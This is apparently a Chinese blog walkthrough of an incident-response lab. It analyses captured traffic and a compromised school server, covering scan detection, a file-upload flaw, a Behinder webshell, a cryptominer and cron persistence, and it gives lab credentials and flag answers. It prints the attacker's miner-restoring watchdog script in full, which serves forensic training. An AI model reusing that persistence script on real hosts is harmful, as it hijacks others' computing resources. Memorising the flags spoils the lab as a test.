本篇文章主要記錄某學校長期未運營維護的程序,被黑客發現了漏洞,但好在學校有全流量設備,抓取到了過程中的流量包
需要你進行上機以及結合流量分析,排查攻擊者利用的漏洞以及上傳利用成功的木馬
文章目錄
- 靶機介紹
- 1.使用工具分析共有多少IP存在掃描web特征,提交其數量
- 2.在2025.6.22日17點03分27秒,192.168.37.10,55689端口進行訪問的url路徑以flag方式進行提交(應急三要素縮小范圍)
- 3.提交存在使用NMAP掃描特征的IP
- 4.審計流量并結合web站點,攻擊者通過什么漏洞進行控制主機,提交漏洞文件名接口
- 5.審計流量并結合web站點,攻擊者通過哪個用戶名利用的漏洞,提交其注冊用戶名
- 6. 審計流量并結合漏洞,提交攻擊者控制成功木馬文件名
- 7.審計流量并清除掉攻擊者上傳的木馬,清除成功后在/var/flag/1/flag中查看flag并提交
- 8. 黑客拿到主機權限后,上傳了挖礦木馬,需要你提交礦池地址
- 9.清除掉主機上的挖礦木馬,完成后在/var/flag/2/flag文件中查看flag并提交
- 10. 黑客做了后門,即使你清除以后,仍然會定時更新挖礦程序并運行,你找到這個程序,提交其路徑
- 11.清除掉后門挖礦程序,在/var/flag/3/flag下查看提交flag
靶機介紹
背景:完全仿真了某學校長期未運營維護的程序,被黑客發現了漏洞,但好在學校有全流量設備,抓取到了過程中的流量包
需要你進行上機以及結合流量分析,排查攻擊者利用的漏洞以及上傳利用成功的木馬
以及清除掉攻擊者上傳的挖礦程序以及后門程序,挖礦環境完全還原了真實環境,但不會出網,比較有意義,清除做了check操作,你只需要按照相關題目引導進行清除
在指定目錄下查看flag提交即可,流量包在遠程登錄成功后/hacker2025.pcap(玄機直接以附件形式下載)
流量中被攻擊機IP:192.168.37.11
SSH遠程端口:2222 賬號密碼:root/edusec123
下載地址:點擊此處
參考文章:州弟學安全
要求:
- 使用工具分析共有多少IP存在掃描web特征,提交其數量
- 在2025.6.22日17點03分27秒,192.168.37.10,55689端口進行訪問的url路徑以flag方式進行提交(應急三要素縮小范圍)
- 提交存在使用NMAP掃描特征的IP
- 審計流量并結合web站點,攻擊者通過什么漏洞進行控制主機,提交漏洞文件名接口
- 審計流量并結合web站點,攻擊者通過哪個用戶名利用的漏洞,提交其注冊用戶名
- 審計流量并結合漏洞,提交攻擊者控制成功木馬文件名
- 審計流量并清除掉攻擊者上傳的木馬,清除成功后在/var/flag/1/flag中查看flag并提交
- 黑客拿到主機權限后,上傳了挖礦木馬,需要你提交礦池地址
- 清除掉主機上的挖礦木馬,完成后在/var/flag/2/flag文件中查看flag并提交
- 黑客做了后門,即使你清除以后,仍然會定時更新挖礦程序并運行,你找到這個程序,提交其路徑
- 清除掉后門挖礦程序,在/var/flag/3/flag下查看提交flag
–
1.使用工具分析共有多少IP存在掃描web特征,提交其數量
這里我們打開靶機的同時,也打開一臺kali,用于端口以及服務的掃描:
這里由于兩臺機器屬于同一網段,所以直接使用nmap進行掃描:
nmap 192.168.44.0/24
顯示結果如下:
這時候我們得到目標機器的ip地址,而題目中的“使用工具分析共有多少IP存在掃描web特征”,需要我們進行流量分析;
所以登錄2222端口的服務,輸入賬號密碼:
SSH遠程端口:2222
賬號密碼:root / edusec123
隨后即可鏈接成功;
查看根目錄,發現hacker流量包,把他下載到本地用工具進行分析:
這里我是用xshell的xftp功能進行傳輸到本地:
然后進行分析——查看有多少IP訪問了
192.168.37.11
這個靶機,可以使用命令:
缺點:需要一個個數,比較耗時;
http and ip.dst == 192.168.37.11 # 篩選http協議且目的地址為靶機的IP地址
也可以使用別的方法:
然后進行過濾器條件如下,進行篩選帶有掃描特征的條件,那么之前講過,怎么判斷掃描特征?
答:短時間內大量訪問不存在的文件
屬于掃描特征,但是由于實戰中每個站點"文件不存在"返回狀態碼不一致,可能是404、403、500、502、405等情況,那么我們可以自行測試
所以訪問網站,輸入一個不存在的文件,看看文件不存在的狀態碼是什么?
可以看到是404,所以我們就可以根據狀態碼進行篩選:
http.response.code==404
也可以放進本地工具里進行分析:
count() by 表示計數,id.orig_h表示源地址,status_code表示狀態碼,|表示條件分隔
發現還剩IP地址為29個,所以flag:
flag{29}
–
2.在2025.6.22日17點03分27秒,192.168.37.10,55689端口進行訪問的url路徑以flag方式進行提交(應急三要素縮小范圍)
這里題目給出的具體的時間范圍,結合實際情況的話:
(1) 在企業中,每天可以產生幾十TB的數據,要是遇到webshell入侵的話,不可能一條一條去查找;
(2)所以在確定時間范圍的情況下,去篩選排除就很有必要;這就是此題的目的
根據題目,輸入命令:
ip.addr == 192.168.37.10 and ip.dst == 192.168.37.11 and tcp.port == 55689
可以得到3條請求記錄,追蹤http流進行查看:
將他們的url分別嘗試一次:
/servlet/user/uploadAvatar
/servlet/user/profile?uploadSuccess=true
/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp
分析:
- 第一個請求看特征就知道是上傳文件
- 第二個看關鍵詞就知道上傳成功
- 第三個應該是GET訪問了上傳的文件
(所以這是一次任意文件上傳攻擊)
這里根據題目,應該是url路徑,但是最終結果卻是一個文件名,不懂:
最終的flag為:
flag{06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}
–
3.提交存在使用NMAP掃描特征的IP
通常情況下,nmap掃描到web服務(80或者8080端口),就會在URL或者User-Agent里添加nmap字樣,很容易辨識。
除此之外,nmap則會進行SYN掃描,FIN掃描等。
NMAP最大特征: 掃描 HTTP 時,會在 URL 及 UA 里包含 nmap 關鍵字特征
http.request.headers contains "Nmap"
http.user_agent contains "Nmap"
可以發現記錄,很容易得到攻擊IP為192.168.37.4
假如對方沒有掃描HTTP協議,只進行了端口掃描?
那么在nmap中使用TCP SYN掃描的情況下,可以進行篩選。
- 基于 TCP 標志位(SYN 掃描特征)篩選
tcp.flags.syn == 1 && tcp.flags.ack == 0
- 默認情況下大部分版本的nmap窗口大小為1024,當然也有其它版本的掃描可能為:2048,3072,4096
tcp.flags.syn == 1 and tcp.window_size == 1024 and tcp.len == 0 and ip.frag_offset == 0
(如果不用tcp協議,而用udp呢?當然是問AI啊。)
flag{192.168.37.4}
–
4.審計流量并結合web站點,攻擊者通過什么漏洞進行控制主機,提交漏洞文件名接口
根據之前的結果,我們發現了任意文件上傳的漏洞:
第二個題目的時候,看到了文件上傳的操作
- 思路:WEB 系統起碼有文件上傳功能
- 如何確定可疑訪問?
- 只查看正常狀態碼或排除非正常狀態碼后進行排序
這里還是使用工具,進行篩選:
count () by id.orig_h,status_code,uri|status_code==200 | sort -r count
然后去wireshark篩選一下:
可以看到有三條訪問記錄,進入查看內容:(冰蝎流量)
這里很容易可以看出是冰蝎的流量,而題目要求的是攻擊者利用的漏洞接口,所以查看上述流量包即可得到
flag{uploadAvatar}
–
5.審計流量并結合web站點,攻擊者通過哪個用戶名利用的漏洞,提交其注冊用戶名
回到登錄頁面,其實我們訪問WEB端口看到是有鑒權的,那么攻擊者肯定是通過注冊賬號進去的,有時候溯源,賬號可能會有很大的用處;
以及賬號密碼的參數payload:
所以可以根據上述進行篩選:
ip.addr==192.168.37.10&&http.request.uri=="/servlet/user/login"
得到結果:
可以發現,輸入賬號密碼后,跳轉到了index.jsp頁面;
flag{wangyunqing}
–
6. 審計流量并結合漏洞,提交攻擊者控制成功木馬文件名
根據之前的分析,可以知道這個jsp文件,訪問的次數最多:
ip.addr==192.168.37.10&&http.request.uri=="/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp"
隨便點擊進去查看,可以發現有著加密的異常流量:
這里使用藍隊解密工具進行分析,由于是冰蝎的默認密鑰加密,所以點擊“解密”即可:
多看幾個,發現了木馬的文件名:
flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}
–
7.審計流量并清除掉攻擊者上傳的木馬,清除成功后在/var/flag/1/flag中查看flag并提交
check操作:就是檢測我們是否清除了木馬,因為以往我們只能被動去做題,沒有check有很大局限性,比如增刪改操作,所以當我們做了清除操作后,flag會在主機指定文件生成
登錄靶機,匹配木馬的文件位置,然后進行刪除:
find / -name *809e2ee5.jsp
# 這里匹配全部名字反而找不到;
也是找到了文件路徑:
直接刪除即可:
rm -rf /var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp
隨后即可得到flag:
flag{1979c46c2af37dc62a4b05881e816995}
–
8. 黑客拿到主機權限后,上傳了挖礦木馬,需要你提交礦池地址
使用top
命令進行查看cpu使用情況,發現了異常:
名為java的程序使用資源異常,且PID為913;
隨后ps -ef 913
查看具體情況,發現礦馬
位于/tmp目錄下,將其下載下來進行反編譯:
可以找到礦池IP:
放進微步在線分析一下:
flag{pool.minexmr.com:4444}
–
9.清除掉主機上的挖礦木馬,完成后在/var/flag/2/flag文件中查看flag并提交
這里刪除一下miner.jar文件,查看flag即可:
rm -rf miner.jar
flag{da236fe0cda81bfc03d022799589110e}
–
10. 黑客做了后門,即使你清除以后,仍然會定時更新挖礦程序并運行,你找到這個程序,提交其路徑
我們刪除后,發現過了不久,惡意進程又重新啟動,所以推測存在cron定時任務:
新的PID
首先排查計劃任務:
crontab -l
ls -la /etc/cron*
可以發現一個定時任務,每分鐘運行:
隨后檢查/etc/cron
目錄下,沒有發現異常:
查看這個sh文件的具體內容:
#!/bin/bashSOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fiif [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
fi
這段 Bash 腳本是 惡意挖礦程序的守護腳本,作用是:
- 監控:檢查
java -jar /tmp/miner.jar
挖礦進程是否運行 - 自恢復:若進程/程序文件丟失,從隱藏備份(
/usr/share/.miner/miner.jar
)恢復并重啟 - 隱蔽性:日志藏系統目錄,進程后臺靜默運行,持續偷算力挖礦
危害:占滿服務器資源,拖垮業務、增加成本,需立即清理文件、進程并溯源 。
flag{/usr/share/.per/persistence.sh}
–
11.清除掉后門挖礦程序,在/var/flag/3/flag下查看提交flag
首先就是先清除定時任務,然后再去刪除腳本文件,jar包;
crontab -e //編輯計劃任務清除掉計劃任務
rm /usr/share/.per/persistence.sh //刪除掉后門腳本程序
rm /usr/share/.miner/miner.jarh //刪除備份挖礦程序
rm /tmp/miner.jar //刪除已恢復的挖礦腳本
kill -9 (PID) //殺掉挖礦進程
等待一分鐘過后,CPU和進程都恢復正常,查看/var/flag/3/flag文件獲取到flag:
flag{27bd067769b51ed71f899c7a6f08af2c}
–